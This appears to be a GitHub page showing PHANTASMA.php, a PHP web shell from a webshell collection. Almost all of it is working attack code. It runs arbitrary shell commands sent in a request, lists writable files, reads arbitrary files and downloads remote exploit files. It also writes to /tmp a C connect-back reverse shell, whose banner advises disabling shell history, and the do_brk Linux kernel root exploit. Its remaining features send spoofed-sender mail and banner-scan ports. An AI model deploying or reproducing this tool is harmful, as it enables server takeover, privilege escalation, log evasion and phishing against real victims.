forked from JohnTroony/php-webshells
-
Notifications
You must be signed in to change notification settings - Fork 0
/
PHANTASMA.php
634 lines (593 loc) · 25.3 KB
/
PHANTASMA.php
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308
309
310
311
312
313
314
315
316
317
318
319
320
321
322
323
324
325
326
327
328
329
330
331
332
333
334
335
336
337
338
339
340
341
342
343
344
345
346
347
348
349
350
351
352
353
354
355
356
357
358
359
360
361
362
363
364
365
366
367
368
369
370
371
372
373
374
375
376
377
378
379
380
381
382
383
384
385
386
387
388
389
390
391
392
393
394
395
396
397
398
399
400
401
402
403
404
405
406
407
408
409
410
411
412
413
414
415
416
417
418
419
420
421
422
423
424
425
426
427
428
429
430
431
432
433
434
435
436
437
438
439
440
441
442
443
444
445
446
447
448
449
450
451
452
453
454
455
456
457
458
459
460
461
462
463
464
465
466
467
468
469
470
471
472
473
474
475
476
477
478
479
480
481
482
483
484
485
486
487
488
489
490
491
492
493
494
495
496
497
498
499
500
501
502
503
504
505
506
507
508
509
510
511
512
513
514
515
516
517
518
519
520
521
522
523
524
525
526
527
528
529
530
531
532
533
534
535
536
537
538
539
540
541
542
543
544
545
546
547
548
549
550
551
552
553
554
555
556
557
558
559
560
561
562
563
564
565
566
567
568
569
570
571
572
573
574
575
576
577
578
579
580
581
582
583
584
585
586
587
588
589
590
591
592
593
594
595
596
597
598
599
600
601
602
603
604
605
606
607
608
609
610
611
612
613
614
615
616
617
618
619
620
621
622
623
624
625
626
627
628
629
630
631
632
633
634
<CENTER>
<DIV STYLE="font-family: verdana; font-size: 25px; font-weight: bold; color: #F3b700;">PHANTASMA- NeW CmD ;) </DIV>
<BR>
<DIV STYLE="font-family: verdana; font-size: 20px; font-weight: bold; color: #F3b700;">Informação do sistema</DIV>
<?php
//
closelog( );
$dono = get_current_user( );
$ver = phpversion( );
$login = posix_getuid( );
$euid = posix_geteuid( );
$gid = posix_getgid( );
if ($chdir == "") $chdir = getcwd( );
?>
<TABLE BORDER="0" CELLPADDING="0" CELLSPACING="0">
<?php
$uname = posix_uname( );
while (list($info, $value) = each ($uname)) {
?>
<TR>
<TD><DIV STYLE="font-family: verdana; font-size: 15px;"><?= $info ?>: <?= $value ?></DIV></TD>
</TR>
<?php
}
?>
<TR>
<TR>
<TD><DIV STYLE="font-family: verdana; font-size: 15px;">Script Current User: <?= $dono ?></DIV></TD>
</TR>
<TR>
<TD><DIV STYLE="font-family: verdana; font-size: 15px;">PHP Version: <?= $ver ?></DIV></TD>
</TR>
<TR>
<TD><DIV STYLE="font-family: verdana; font-size: 15px;">User Info: uid(<?= $login ?>) euid(<?= $euid ?>) gid(<?= $gid ?>)</DIV></TD>
</TR>
<TR>
<TD><DIV STYLE="font-family: verdana; font-size: 15px;">Current Path: <?= $chdir ?></DIV></TD>
</TR>
<TR>
<TD><DIV STYLE="font-family: verdana; font-size: 15px;">Server IP: <?php $aaa = gethostbyname($SERVER_NAME); echo $aaa;?></DIV></TD>
</TR>
<TR>
<TD><DIV STYLE="font-family: verdana; font-size: 15px;">Web Server: <?= "$SERVER_SOFTWARE $SERVER_VERSION"; ?></DIV></TD>
</TR>
</TABLE>
<BR>
<?php
if ($cmd != "") {
echo "<DIV STYLE=\"font-family: verdana; font-size: 15px;\">[*] Command Mode Run</DIV>";
?>
<DIV STYLE="font-family: verdana; font-size: 20px; font-weight: bold; color: #F3A700;">Command Stdout</DIV>
<?php
if ($fe == 1){
$fe = "exec";
}
if ($fe == ""){
$fe = "passthru";
}
if ($fe == "2"){
$fe = "system";
}
if (isset($chdir)) @chdir($chdir);
ob_start( );
$fe("$cmd 2>&1");
$output = ob_get_contents();
ob_end_clean( );
?>
<TEXTAREA COLS="75" ROWS="8" STYLE="font-family: verdana; font-size: 12px;">
<?php
if (!empty($output)) echo str_replace(">", ">", str_replace("<", "<", $output));
?>
</TEXTAREA>
<BR>
<?php
}
if ($safemode != "") {
echo "<DIV STYLE=\"font-family: verdana; font-size: 15px;\">[*] Safemode Mode Run</DIV>";
?>
<DIV STYLE="font-family: verdana; font-size: 20px; font-weight: bold; color: #F3A700;">Safe Mode Directory Listing</DIV>
<?php
if ($dir = @opendir($chdir)) {
echo "<TABLE border=1 cellspacing=1 cellpadding=0>";
echo "<TR>";
echo "<TD valign=top>";
echo "<b><font size=2 face=arial>List All Files</b> <br><br>";
while (($file = readdir($dir)) !== false) {
if (@is_file($file)) {
$file1 = fileowner($file);
$file2 = fileperms($file);
echo "<font color=green>$file1 - $file2 - <a href=$SCRIPT_NAME?$QUERY_STRING&see=$file>$file</a><br>";
// echo "<font color=green>$file1 - $file2 - $file </font><br>";
flush( );
}
}
echo "</TD>";
echo"<TD valign=top>";
echo "<b><font size=2 face=arial>List Only Folders</b> <br><br>";
if ($dir = @opendir($chdir)) {
while (($file = readdir($dir)) !== false) {
if (@is_dir($file)) {
$file1 = fileowner($file);
$file2 = fileperms($file);
echo "<font color=blue>$file1 - $file2 - <a href=$SCRIPT_NAME?$QUERY_STRING&chdir=$chdir/$file>$file</a><br>";
// echo "<font color=blue>$file1 - $file2 - $file </font><br>";
}
}
}
echo "</TD>";
echo"<TD valign=top>";
echo "<b><font size=2 face=arial>List Writable Folders</b><br><br>";
if ($dir = @opendir($chdir)) {
while (($file = readdir($dir)) !== false) {
if (@is_writable($file) && @is_dir($file)) {
$file1 = fileowner($file);
$file2 = fileperms($file);
echo "<font color=red>$file1 - $file2 - $file </font><br>";
}
}
}
echo "</TD>";
echo "</TD>";
echo "<TD valign=top>";
echo "<b><font size=2 face=arial>List Writable Files</b> <br><br>";
if ($dir = opendir($chdir)) {
while (($file = readdir($dir)) !== false) {
if (@is_writable($file) && @is_file($file)) {
$file1 = fileowner($file);
$file2 = fileperms($file);
echo "<font color=red>$file1 - $file2 - $file </font><br>";
}
}
}
echo "</TD>";
echo "</TR>";
echo "</TABLE>";
}
}
?>
<?php
if ($shell == "write") {
$shell = "#include <stdio.h>\n" .
"#include <sys/socket.h>\n" .
"#include <netinet/in.h>\n" .
"#include <arpa/inet.h>\n" .
"#include <netdb.h>\n" .
"int main(int argc, char **argv) {\n" .
" char *host;\n" .
" int port = 80;\n" .
" int f;\n" .
" int l;\n" .
" int sock;\n" .
" struct in_addr ia;\n" .
" struct sockaddr_in sin, from;\n" .
" struct hostent *he;\n" .
" char msg[ ] = \"Welcome to Data Cha0s Connect Back Shell\\n\\n\"\n" .
" \"Issue \\\"export TERM=xterm; exec bash -i\\\"\\n\"\n" .
" \"For More Reliable Shell.\\n\"\n" .
" \"Issue \\\"unset HISTFILE; unset SAVEHIST\\\"\\n\"\n" .
" \"For Not Getting Logged.\\n(;\\n\\n\";\n" .
" printf(\"Data Cha0s Connect Back Backdoor\\n\\n\");\n" .
" if (argc < 2 || argc > 3) {\n" .
" printf(\"Usage: %s [Host] <port>\\n\", argv[0]);\n" .
" return 1;\n" .
" }\n" .
" printf(\"[*] Dumping Arguments\\n\");\n" .
" l = strlen(argv[1]);\n" .
" if (l <= 0) {\n" .
" printf(\"[-] Invalid Host Name\\n\");\n" .
" return 1;\n" .
" }\n" .
" if (!(host = (char *) malloc(l))) {\n" .
" printf(\"[-] Unable to Allocate Memory\\n\");\n" .
" return 1;\n" .
" }\n" .
" strncpy(host, argv[1], l);\n" .
" if (argc == 3) {\n" .
" port = atoi(argv[2]);\n" .
" if (port <= 0 || port > 65535) {\n" .
" printf(\"[-] Invalid Port Number\\n\");\n" .
" return 1;\n" .
" }\n" .
" }\n" .
" printf(\"[*] Resolving Host Name\\n\");\n" .
" he = gethostbyname(host);\n" .
" if (he) {\n" .
" memcpy(&ia.s_addr, he->h_addr, 4);\n" .
" } else if ((ia.s_addr = inet_addr(host)) == INADDR_ANY) {\n" .
" printf(\"[-] Unable to Resolve: %s\\n\", host);\n" .
" return 1;\n" .
" }\n" .
" sin.sin_family = PF_INET;\n" .
" sin.sin_addr.s_addr = ia.s_addr;\n" .
" sin.sin_port = htons(port);\n" .
" printf(\"[*] Connecting...\\n\");\n" .
" if ((sock = socket(AF_INET, SOCK_STREAM, 0)) == -1) {\n" .
" printf(\"[-] Socket Error\\n\");\n" .
" return 1;\n" .
" }\n" .
" if (connect(sock, (struct sockaddr *)&sin, sizeof(sin)) != 0) {\n" .
" printf(\"[-] Unable to Connect\\n\");\n" .
" return 1;\n" .
" }\n" .
" printf(\"[*] Spawning Shell\\n\");\n" .
" f = fork( );\n" .
" if (f < 0) {\n" .
" printf(\"[-] Unable to Fork\\n\");\n" .
" return 1;\n" .
" } else if (!f) {\n" .
" write(sock, msg, sizeof(msg));\n" .
" dup2(sock, 0);\n" .
" dup2(sock, 1);\n" .
" dup2(sock, 2);\n" .
" execl(\"/bin/sh\", \"shell\", NULL);\n" .
" close(sock);\n" .
" return 0;\n" .
" }\n" .
" printf(\"[*] Detached\\n\\n\");\n" .
" return 0;\n" .
"}\n";
$fp = fopen("/tmp/dc-connectback.c", "w");
$ok = fwrite($fp, $shell);
if (!empty($ok)) {
echo "<DIV STYLE=\"font-family: verdana; font-size: 15px;\">[*] Connect Back Shell Was Successfuly Copied</DIV>";
} else {
echo "<DIV STYLE=\"font-family: verdana; font-size: 15px;\">[-] An Error Has Ocurred While Copying Shell</DIV>";
}
}
if ($kernel == "write") {
$kernel = "/*\n" .
" * hatorihanzo.c\n" .
" * Linux kernel do_brk vma overflow exploit.\n" .
" *\n" .
" * The bug was found by Paul (IhaQueR) Starzetz <[email protected]>\n" .
" *\n" .
" * Further research and exploit development by\n" .
" * Wojciech Purczynski <[email protected]> and Paul Starzetz.\n" .
" *\n" .
" * (c) 2003 Copyright by IhaQueR and cliph. All Rights Reserved.\n" .
" *\n" .
" * COPYING, PRINTING, DISTRIBUTION, MODIFICATION, COMPILATION AND ANY USE\n" .
" * OF PRESENTED CODE IS STRICTLY PROHIBITED.\n" .
"*/\n" .
"#define _GNU_SOURCE\n" .
"#include <stdio.h>\n" .
"#include <stdlib.h>\n" .
"#include <errno.h>\n" .
"#include <string.h>\n" .
"#include <unistd.h>\n" .
"#include <fcntl.h>\n" .
"#include <signal.h>\n" .
"#include <paths.h>\n" .
"#include <grp.h>\n" .
"#include <setjmp.h>\n" .
"#include <stdint.h>\n" .
"#include <sys/mman.h>\n" .
"#include <sys/ipc.h>\n" .
"#include <sys/shm.h>\n" .
"#include <sys/ucontext.h>\n" .
"#include <sys/wait.h>\n" .
"#include <asm/ldt.h>\n" .
"#include <asm/page.h>\n" .
"#include <asm/segment.h>\n" .
"#include <linux/unistd.h>\n" .
"#include <linux/linkage.h>\n" .
"#define kB * 1024\n" .
"#define MB * 1024 kB\n" .
"#define GB * 1024 MB\n" .
"#define MAGIC 0xdefaced /* I should've patented this number -cliph */\n" .
"#define ENTRY_MAGIC 0\n" .
"#define ENTRY_GATE 2\n" .
"#define ENTRY_CS 4\n" .
"#define ENTRY_DS 6\n" .
"#define CS ((ENTRY_CS << 2) | 4)\n" .
"#define DS ((ENTRY_DS << 2) | 4)\n" .
"#define GATE ((ENTRY_GATE << 2) | 4 | 3)\n" .
"#define LDT_PAGES ((LDT_ENTRIES*LDT_ENTRY_SIZE+PAGE_SIZE-1) / PAGE_SIZE)\n" .
"#define TOP_ADDR 0xFFFFE000U\n" .
"/* configuration */\n" .
"unsigned task_size;\n" .
"unsigned page;\n" .
"uid_t uid;\n" .
"unsigned address;\n" .
"int dontexit = 0;\n" .
"void fatal(char * msg)\n" .
"{\n" .
" fprintf(stderr, \"[-] %s: %s\\n\", msg, strerror(errno));\n" .
" if (dontexit) {\n" .
" fprintf(stderr, \"[-] Unable to exit, entering neverending loop.\\n\");\n" .
" kill(getpid(), SIGSTOP);\n" .
" for (;;) pause();\n" .
" }\n" .
" exit(EXIT_FAILURE);\n" .
"}\n" .
"void configure(void)\n" .
"{\n" .
" unsigned val;\n" .
" task_size = ((unsigned)&val + 1 GB ) / (1 GB) * 1 GB;\n" .
" uid = getuid();\n" .
"}\n" .
"void expand(void)\n" .
"{\n" .
" unsigned top = (unsigned) sbrk(0);\n" .
" unsigned limit = address + PAGE_SIZE;\n" .
" do {\n" .
" if (sbrk(PAGE_SIZE) == NULL)\n" .
" fatal(\"Kernel seems not to be vulnerable\");\n" .
" dontexit = 1;\n" .
" top += PAGE_SIZE;\n" .
" } while (top < limit);\n" .
"}\n" .
"jmp_buf jmp;\n" .
"#define MAP_NOPAGE 1\n" .
"#define MAP_ISPAGE 2\n" .
"void sigsegv(int signo, siginfo_t * si, void * ptr)\n" .
"{\n" .
" struct ucontext * uc = (struct ucontext *) ptr;\n" .
" int error_code = uc->uc_mcontext.gregs[REG_ERR];\n" .
" (void)signo;\n" .
" (void)si;\n" .
" error_code = MAP_NOPAGE + (error_code & 1);\n" .
" longjmp(jmp, error_code);\n" .
"}\n" .
"void prepare(void)\n" .
"{\n" .
" struct sigaction sa;\n" .
" sa.sa_sigaction = sigsegv;\n" .
" sa.sa_flags = SA_SIGINFO | SA_NOMASK;\n" .
" sigemptyset(&sa.sa_mask);\n" .
" sigaction(SIGSEGV, &sa, NULL);\n" .
"}\n" .
"int testaddr(unsigned addr)\n" .
"{\n" .
" int val;\n" .
" val = setjmp(jmp);\n" .
" if (val == 0) {\n" .
" asm (\"verr (%%eax)\" : : \"a\" (addr));\n" .
" return MAP_ISPAGE;\n" .
" }\n" .
" return val;\n" .
"}\n" .
"#define map_pages (((TOP_ADDR - task_size) + PAGE_SIZE - 1) / PAGE_SIZE)\n" .
"#define map_size (map_pages + 8*sizeof(unsigned) - 1) / (8*sizeof(unsigned))\n" .
"#define next(u, b) do { if ((b = 2*b) == 0) { b = 1; u++; } } while(0)\n" .
"void map(unsigned * map)\n" .
"{\n" .
" unsigned addr = task_size;\n" .
" unsigned bit = 1;\n" .
" prepare();\n" .
" while (addr < TOP_ADDR) {\n" .
" if (testaddr(addr) == MAP_ISPAGE)\n" .
" *map |= bit;\n" .
" addr += PAGE_SIZE;\n" .
" next(map, bit);\n" .
" }\n" .
" signal(SIGSEGV, SIG_DFL);\n" .
"}\n" .
"void find(unsigned * m)\n" .
"{\n" .
" unsigned addr = task_size;\n" .
" unsigned bit = 1;\n" .
" unsigned count;\n" .
" unsigned tmp;\n" .
" prepare();\n" .
" tmp = address = count = 0U;\n" .
" while (addr < TOP_ADDR) {\n" .
" int val = testaddr(addr);\n" .
" if (val == MAP_ISPAGE && (*m & bit) == 0) {\n" .
" if (!tmp) tmp = addr;\n" .
" count++;\n" .
" } else {\n" .
" if (tmp && count == LDT_PAGES) {\n" .
" errno = EAGAIN;\n" .
" if (address)\n" .
" fatal(\"double allocation\\n\");\n" .
" address = tmp;\n" .
" }\n" .
" tmp = count = 0U;\n" .
" }\n" .
" addr += PAGE_SIZE;\n" .
" next(m, bit);\n" .
" }\n" .
" signal(SIGSEGV, SIG_DFL);\n" .
" if (address)\n" .
" return;\n" .
" errno = ENOTSUP;\n" .
" fatal(\"Unable to determine kernel address\");\n" .
"}\n" .
"int modify_ldt(int, void *, unsigned);\n" .
"void ldt(unsigned * m)\n" .
"{\n" .
" struct modify_ldt_ldt_s l;\n" .
" map(m);\n" .
" memset(&l, 0, sizeof(l));\n" .
" l.entry_number = LDT_ENTRIES - 1;\n" .
" l.seg_32bit = 1;\n" .
" l.base_addr = MAGIC >> 16;\n" .
" l.limit = MAGIC & 0xffff;\n" .
" if (modify_ldt(1, &l, sizeof(l)) == -1)\n" .
" fatal(\"Unable to set up LDT\");\n" .
" l.entry_number = ENTRY_MAGIC / 2;\n" .
" if (modify_ldt(1, &l, sizeof(l)) == -1)\n" .
" fatal(\"Unable to set up LDT\");\n" .
" find(m);\n" .
"}\n" .
"asmlinkage void kernel(unsigned * task)\n" .
"{\n" .
" unsigned * addr = task;\n" .
" /* looking for uids */\n" .
" while (addr[0] != uid || addr[1] != uid ||\n" .
" addr[2] != uid || addr[3] != uid)\n" .
" addr++;\n" .
" addr[0] = addr[1] = addr[2] = addr[3] = 0; /* uids */\n" .
" addr[4] = addr[5] = addr[6] = addr[7] = 0; /* uids */\n" .
" addr[8] = 0;\n" .
" /* looking for vma */\n" .
" for (addr = (unsigned *) task_size; addr; addr++) {\n" .
" if (addr[0] >= task_size && addr[1] < task_size &&\n" .
" addr[2] == address && addr[3] >= task_size) {\n" .
" addr[2] = task_size - PAGE_SIZE;\n" .
" addr = (unsigned *) addr[3];\n" .
" addr[1] = task_size - PAGE_SIZE;\n" .
" addr[2] = task_size;\n" .
" break;\n" .
" }\n" .
" }\n" .
"}\n" .
"void kcode(void);\n" .
"#define __str(s) #s\n" .
"#define str(s) __str(s)\n" .
"void __kcode(void)\n" .
"{\n" .
" asm(\n" .
" \"kcode: \\n\"\n" .
" \" pusha \\n\"\n" .
" \" pushl %es \\n\"\n" .
" \" pushl %ds \\n\"\n" .
" \" movl $(\" str(DS) \") ,%edx \\n\"\n" .
" \" movl %edx,%es \\n\"\n" .
" \" movl %edx,%ds \\n\"\n" .
" \" movl $0xffffe000,%eax \\n\"\n" .
" \" andl %esp,%eax \\n\"\n" .
" \" pushl %eax \\n\"\n" .
" \" call kernel \\n\"\n" .
" \" addl $4, %esp \\n\"\n" .
" \" popl %ds \\n\"\n" .
" \" popl %es \\n\"\n" .
" \" popa \\n\"\n" .
" \" lret \\n\"\n" .
" );\n" .
"}\n" .
"void knockout(void)\n" .
"{\n" .
" unsigned * addr = (unsigned *) address;\n" .
" if (mprotect(addr, PAGE_SIZE, PROT_READ|PROT_WRITE) == -1)\n" .
" fatal(\"Unable to change page protection\");\n" .
" errno = ESRCH;\n" .
" if (addr[ENTRY_MAGIC] != MAGIC)\n" .
" fatal(\"Invalid LDT entry\");\n" .
" /* setting call gate and privileged descriptors */\n" .
" addr[ENTRY_GATE+0] = ((unsigned)CS << 16) | ((unsigned)kcode & 0xffffU);\n" .
" addr[ENTRY_GATE+1] = ((unsigned)kcode & ~0xffffU) | 0xec00U;\n" .
" addr[ENTRY_CS+0] = 0x0000ffffU; /* kernel 4GB code at 0x00000000 */\n" .
" addr[ENTRY_CS+1] = 0x00cf9a00U;\n" .
" addr[ENTRY_DS+0] = 0x0000ffffU; /* user 4GB code at 0x00000000 */\n" .
" addr[ENTRY_DS+1] = 0x00cf9200U;\n" .
" prepare();\n" .
" if (setjmp(jmp) != 0) {\n" .
" errno = ENOEXEC;\n" .
" fatal(\"Unable to jump to call gate\");\n" .
" }\n" .
" asm(\"lcall $\" str(GATE) \",$0x0\"); /* this is it */\n" .
"}\n" .
"void shell(void)\n" .
"{\n" .
" char * argv[] = { _PATH_BSHELL, NULL };\n" .
" execve(_PATH_BSHELL, argv, environ);\n" .
" fatal(\"Unable to spawn shell\\n\");\n" .
"}\n" .
"void remap(void)\n" .
"{\n" .
" static char stack[8 MB]; /* new stack */\n" .
" static char * envp[] = { \"PATH=\" _PATH_STDPATH, NULL };\n" .
" static unsigned * m;\n" .
" static unsigned b;\n" .
" m = (unsigned *) sbrk(map_size);\n" .
" if (!m)\n" .
" fatal(\"Unable to allocate memory\");\n" .
" environ = envp;\n" .
" asm (\"movl %0, %%esp\\n\" : : \"a\" (stack + sizeof(stack)));\n" .
" b = ((unsigned)sbrk(0) + PAGE_SIZE - 1) & PAGE_MASK;\n" .
" if (munmap((void*)b, task_size - b) == -1)\n" .
" fatal(\"Unable to unmap stack\");\n" .
" while (b < task_size) {\n" .
" if (sbrk(PAGE_SIZE) == NULL)\n" .
" fatal(\"Unable to expand BSS\");\n" .
" b += PAGE_SIZE;\n" .
" }\n" .
" ldt(m);\n" .
" expand();\n" .
" knockout();\n" .
" shell();\n" .
"}\n" .
"int main(void)\n" .
"{\n" .
" configure();\n" .
" remap();\n" .
" return EXIT_FAILURE;\n" .
"}\n";
$fp = fopen("/tmp/xpl_brk.c", "w");
$ok = fwrite($fp, $kernel);
if (!empty($ok)) {
echo "<DIV STYLE=\"font-family: verdana; font-size: 15px;\">[*] Linux Local Kernel Exploit Was Successfuly Copied</DIV>";
} else {
echo "<DIV STYLE=\"font-family: verdana; font-size: 15px;\">[-] An Error Has Ocurred While Copying Kernel Exploit</DIV>";
}
}
?>
</CENTER>
<pre><font face="Tahoma" size="2">
<?php
// Function to Visualize Source Code files
if ($see != "") {
$fp = fopen($see, "r");
$read = fread($fp, 30000);
echo "============== $see ================<br>";
echo "<textarea name=textarea cols=80 rows=15>";
echo "$read";
Echo "</textarea>";
}
// Function to Dowload Local Xploite Binary COde or Source Code
if ($dx != "") {
$fp = @fopen("$hostxpl",r);
$fp2 = @fopen("$storage","w");
fwrite($fp2, "");
$fp1 = @fopen("$storage","a+");
for (;;) {
$read = @fread($fp, 4096);
if (empty($read)) break;
$ok = fwrite($fp1, $read);
if (empty($ok)) {
echo "<DIV STYLE=\"font-family: verdana; font-size: 15px;\">[-] An Error Has Ocurred While Uploading File</DIV>";
break;
}
}
if (!empty($ok)) {
echo "<DIV STYLE=\"font-family: verdana; font-size: 15px;\">[*] File Was Successfuly Uploaded</DIV>";
}
}
flush( );
// Function to visulize Format Color Source Code PHP
if ($sfc != "") {
$showcode = show_source("$sfc");
echo "<font size=4> $showcode </font>";
}
// Function to Visualize all infomation files
if ($fileinfo != "") {
$infofile = stat("$fileanalize");
while (list($info, $value) = each ($infofile)) {
echo" Info: $info Value: $value <br>";
}
}
// Function to send fake mail
if ($fake == 1) {
echo "<FORM METHOD=POST ACTION=\"$SCRIPT_NAME?$QUERY_STRING&send=1\">";
echo "Your Fake Mail <INPUT TYPE=\"\" NAME=\"yourmail\"><br>";
echo "Your Cavy:<INPUT TYPE=\"\" NAME=\"cavy\"><br>";
echo "Suject: <INPUT TYPE=\"text\" NAME=\"subject\"><br>";
echo "Text: <TEXTAREA NAME=\"body\" ROWS=\"\" COLS=\"\"></TEXTAREA><br>";
echo "<INPUT TYPE=\"hidden\" NAME=\"send\" VALUE=\"1\"><br>";
echo "<INPUT TYPE=\"submit\" VALUE=\"Send Fake Mail\">";
echo "</FORM>";
}
if($send == 1) {
if (mail($cavy, $subject, $body, "From: $yourmail\r\n")) {
echo "<DIV STYLE=\"font-family: verdana; font-size: 15px;\">[*] Mail Send Sucessfuly</DIV>";
} else {
echo "<DIV STYLE=\"font-family: verdana; font-size: 15px;\">[-] An Error Has Ocurred While Sending Mail</DIV>";
}
}
if ($portscan != "") {
$port = array ("21","22","23","25","110",);
$values = count($port);
for ($cont=0; $cont < $values; $cont++) {
@$sock[$cont] = Fsockopen($SERVER_NAME, $port[$cont], $oi, $oi2, 1);
$service = Getservbyport($port[$cont],"tcp");
@$get = fgets($sock[$cont]);
echo "<br>Port: $port[$cont] - Service: $service<br><br>";
echo "<br>Banner: $get <br><br>";
flush();
}
}
?>
</font></pre>